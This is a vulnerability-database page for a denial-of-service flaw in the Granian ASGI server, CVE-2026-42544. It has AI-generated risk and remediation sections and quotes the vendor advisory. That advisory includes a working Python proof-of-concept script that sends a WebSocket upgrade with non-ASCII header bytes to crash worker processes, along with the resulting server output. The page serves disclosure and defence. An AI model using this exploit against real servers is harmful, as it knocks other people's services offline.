Granian CVE-2026-42544
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessEstablish TCP connection to Granian server
-
DeliverySend crafted WebSocket upgrade with non-ASCII Sec-WebSocket-Protocol header
-
ExploitTrigger Rust panic in HeaderValue parsing
-
ExecutionWorker process aborts before ASGI dispatch
-
PersistRepeat across remaining workers
-
ImpactComplete service unavailability
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Requires network access to any HTTP endpoint served by Granian versions 1.2.0 through 2.7.3, regardless of application-level authentication, routing configuration, or middleware stack. The vulnerability triggers during WebSocket upgrade request parsing in Granian's Rust core before ASGI application invocation, bypassing all Python-layer defenses. Attack succeeds against default Granian configurations without requiring any specific feature enablement. Exploitation is NOT limited by: application authentication mechanisms, URL path restrictions, CORS policies, rate limiting middleware, or WebSocket-specific application logic. The only prerequisite is the ability to establish a TCP connection to the Granian server port and send a single malformed HTTP request. Worker process supervision (auto-restart policies) limits sustained impact duration but does not prevent the initial crash or repeated exploitation. |
| Impact | CVSS 7.5 (High) with AV:N/AC:L/PR:N/UI:N indicates trivial remote exploitation requiring no authentication or user interaction. However, real-world risk requires nuanced assessment. Attack complexity is genuinely low - the GitHub advisory provides working Python exploit code demonstrating single-packet service disruption. The unauthenticated network vector is confirmed by both CVSS and the explicit statement that 'application-level authentication or routing does not mitigate the issue.' No EPSS or KEV data provided, suggesting the vulnerability is newly disclosed without observed widespread exploitation. SSVC decision factors: exploitation status is proof-of-concept (POC exists), automatable is yes (simple network request), technical impact is partial (availability only). The 'one request per worker' attack model means impact scales with deployment architecture - single-worker deployments face complete outage from one request, while multi-worker deployments require sequential targeting but remain vulnerable to resource exhaustion. The pre-application attack surface eliminates common defense layers (WAF rules, application authentication, input validation middleware), elevating practical risk beyond typical DoS vulnerabilities. Priority is high for internet-facing Granian deployments, moderate for internal services with access controls at network perimeter. |
| Exploit ScenarioDerived | An unauthenticated attacker crafts a WebSocket upgrade HTTP request with a Sec-WebSocket-Protocol header containing non-ASCII bytes (e.g., \x80\xff). The attacker sends this request to any endpoint on a Granian server listening on a network-accessible port. Granian's Rust-layer WebSocket handshake parser attempts to convert the malformed header to a string, triggers a panic on the invalid UTF-8 sequence, and immediately aborts the worker process before the Python ASGI application receives the request. The attacker repeats this single-packet attack sequentially against each worker process (typically 2-8 workers per deployment), achieving complete service outage within seconds. Publicly available proof-of-concept code in the GitHub advisory demonstrates exploitation with a 10-line Python script requiring only standard library socket operations. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 06, 2026
Granian ASGI server suffers remote denial of service when unauthenticated attackers send malformed WebSocket upgrade requests containing non-ASCII bytes in the Sec-WebSocket-Protocol header, causing worker process termination. Each crafted request kills one worker process; sequential requests across all workers achieve complete service outage. The vulnerability exists in Granian's pre-application WebSocket scope construction (src/asgi/utils.rs), making application-layer defenses ineffective. Publicly available exploit code exists with complete proof-of-concept demonstrating the attack. Vendor-released patch 2.7.4 addresses the issue for affected versions 1.2.0 through 2.7.3.
RemediationAI
Upgrade to Granian version 2.7.4 or later, which implements proper error handling for malformed WebSocket headers without process termination. Execute pip install --upgrade granian==2.7.4 or update requirements.txt/pyproject.toml dependency specifications. For environments unable to upgrade immediately, implement compensating controls at the network perimeter: deploy a reverse proxy (nginx, Caddy, HAProxy) configured to validate WebSocket upgrade requests before forwarding to Granian, specifically rejecting Sec-WebSocket-Protocol headers containing non-ASCII bytes. Example nginx config: add lua-resty-http module to inspect and sanitize WebSocket headers in access phase. Trade-off: adds latency and operational complexity. Alternative mitigation is process-level supervision with automatic restart (systemd Restart=always, Docker restart policies, Kubernetes liveness probes) to restore crashed workers, though this only limits impact duration rather than preventing exploitation. Trade-off: service disruption still occurs during restart cycles, and rapid sequential attacks can overwhelm restart rate limits. Network-level rate limiting by source IP provides partial defense against distributed attacks but not single-source sequential worker targeting. Vendor advisory and patch details: https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6 and https://github.com/advisories/GHSA-vrg7-482j-p6f6.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Granian is a Rust-based HTTP/WebSocket server for Python ASGI applications, competing with Uvicorn and Hypercorn in the async Python ecosystem. The vulnerability stems from improper input validation (CWE-20) in the Rust layer's WebSocket handshake processing. Specifically, the code attempts to convert HTTP header values to UTF-8 strings using HeaderValue::to_str(), which returns an error for bytes outside visible ASCII range. The subsequent .unwrap() call panics on this error, and because Granian's release builds configure panic = abort in Cargo.toml, the panic terminates the entire worker process rather than being caught as a recoverable error. This occurs during ASGI scope construction before request dispatch to the Python application layer, bypassing any application-level validation, authentication, or rate limiting. The affected package identifier is pkg:pip/granian, confirming distribution via Python Package Index.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/emmett-framework/granian) · only source for this CVE.
CVSS VectorVendor: https://github.com/emmett-framework/granian
DescriptionCVE.org
Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125
HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.
PoC
Step 1.
starts a Granian ASGI server
# app.py
async def app(scope, receive, send):
if scope["type"] == "websocket":
await receive()
await send({"type": "websocket.accept"})
return
await send({"type": "http.response.start", "status": 200, "headers": []})
await send({"type": "http.response.body", "body": b"ok"})granian --interface asgi app:app --host 127.0.0.1 --port 8000Step 2.
sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.
# ws-subproto-crash.py
import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))python ws-subproto-crash.py 127.0.0.1 8000 /Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granianImpact
- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
Executive ViewAI
Granian ASGI server versions 1.2.0 through 2.7.3 are vulnerable to unauthenticated remote denial of service attacks via malformed WebSocket requests, allowing attackers to crash worker processes and achieve complete service outage. Organizations running affected versions face immediate risk of application unavailability without patching.
Vendor-released patch: Granian 2.7.4. If immediate patching is not feasible, implement network-level rate limiting on WebSocket upgrade requests and restrict WebSocket protocol access to trusted networks only. Application-layer defenses are ineffective for this vulnerability due to processing occurring before application code execution.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-vrg7-482j-p6f6
NVD
CVE.org
EPSS
Exploit-DB